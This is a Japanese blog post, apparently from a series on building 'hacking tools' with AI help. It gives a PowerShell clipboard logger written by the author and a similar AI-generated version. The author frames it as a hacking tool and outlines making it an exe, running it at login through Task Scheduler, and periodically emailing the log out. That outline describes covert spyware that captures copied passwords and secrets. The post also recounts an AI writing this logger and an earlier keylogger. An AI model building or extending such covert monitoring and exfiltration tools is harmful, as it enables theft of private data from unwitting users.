![見出し画像](https://assets.st-note.com/production/uploads/images/138160818/rectangle_large_type_2_9d571564f97f86b9b1bd908e55451a36.png?width=1200)
AIと作るハッキングツール【クリップボード監視】
AIと作るハッキングツール
前回に続いてWindows標準機能だけを使ってハッキングツールを作ろうと思います。またAIの力を借ります。
今回はクリップボード監視。
クリップボードとは(AIの解説)
クリップボードは、パソコンでコピー・切り取りしたテキストのデータを一時的に保存しておく場所です。メモ帳やWordなどのアプリでテキストをコピーしたり切り取ったりしたとき、そのデータがクリップボードに保存されます。クリップボードに保存されたデータは、貼り付け操作で他のアプリに転送することができます。例えば、Wordでコピーした文章を、メールソフトに貼り付けて送信したりすることができます。
人が書いたコード
# クリップボードを取得
Add-Type -AssemblyName System.Windows.Forms
$logPath = "C:\temp\clipboard_log.txt"
$oldclipText=[Windows.Forms.Clipboard]::GetText()
while($true) {
$clipText = [Windows.Forms.Clipboard]::GetText()
if($clipText -ne $oldclipText) {
write-host $clipText
Add-Content -Path $logPath -Value $clipText
$oldclipText = $clipText
}
Start-Sleep -m 50
}
まぁ普通です。
これをexe化して、タスクスケジューラーでログインと同時に実行して、定期的にメール送信すれば出来上がり。
ここからはAI
![](https://assets.st-note.com/img/1713790363976-YJOGETgP6j.png?width=1200)
PowerShellでクリップボードを監視するツール
注意: このツールは、教育目的またはシステム管理目的でのみ使用することを目的としています。他人のクリップボードを許可なく監視することは、プライバシー侵害となります。倫理的な境界線を守り、責任を持ってツールを使用してください。
ツール概要:
このツールは、PowerShellを使用してクリップボードの内容を監視し、変更があった場合にログを記録します。クリップボードにコピーされたテキスト、画像、ファイルなどを記録できます。
動作原理:
スクリプトは、現在のクリップボードの内容を取得します。
一定時間(例:1秒)待機します。
待機中にクリップボードの内容が変更されたら、新しい内容を取得します。
変更があった場合は、ログファイルに記録します。
手順2~4を繰り返します。
ツール作成手順:
以下のスクリプトをテキストエディタで作成します。
# クリップボード監視ツール clipboard-monitor.ps1
# ログファイルパス
$logPath = "C:\temp\clipboard_log.txt"
# 監視間隔(秒)
$interval = 1
while ($true) {
# 現在のクリップボードの内容を取得
$currentClipboard = Get-Clipboard
# 待機
Start-Sleep -Seconds $interval
# 再度クリップボードの内容を取得
$newClipboard = Get-Clipboard
# 内容が変更されたらログを記録
if ($currentClipboard -ne $newClipboard) {
$changeTime = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logEntry = "$changeTime : $newClipboard"
Add-Content -Path $logPath -Value $logEntry
}
}
2.スクリプトを保存します。拡張子は .ps1 にします。
3.PowerShell を開き、以下のコマンドを実行してスクリプトを実行します。
.\clipboard-monitor.ps1
スクリプトが実行されるとクリップボードが監視されログはファイル C:\temp\clipboard_log.txt に記録されます。
ログファイルの形式:
ログファイルには、以下の形式で記録されます。
yyyy-MM-dd HH:mm:ss: クリップボードの内容
注意事項:
このツールは、システムリソースを消費します。長時間実行すると、システムのパフォーマンスに影響を与える可能性があります。
ログファイルは、機密情報を含む可能性があります。適切なセキュリティ対策を講じてください。
免責事項:
このツールは、いかなる保証もなしに提供されます。著者は、このツールの使用によって生じるいかなる損害についても責任を負いません。
参考情報:
PowerShell でクリップボードを監視する: https://qiita.com/tutttuwi/items/fc66ca75d091f7c1c27b
PowerShell でクリップボードを取得する方法: [無効な URL を削除しました]
このツールは、PowerShell でクリップボードを監視する基本的な方法を示しています。必要に応じて、スクリプトをカスタマイズして機能を追加することができます。
あとがき
今回は1回の質問で完成しました。前回のキーロガーはなかなかエラーが消えず何度も書き直しさせたのに。なんでしょうね。
#PowerShell #コマンドレット #プログラミング #プログラミング初心者 #クリップボード #生成AI #毎日Note #毎日更新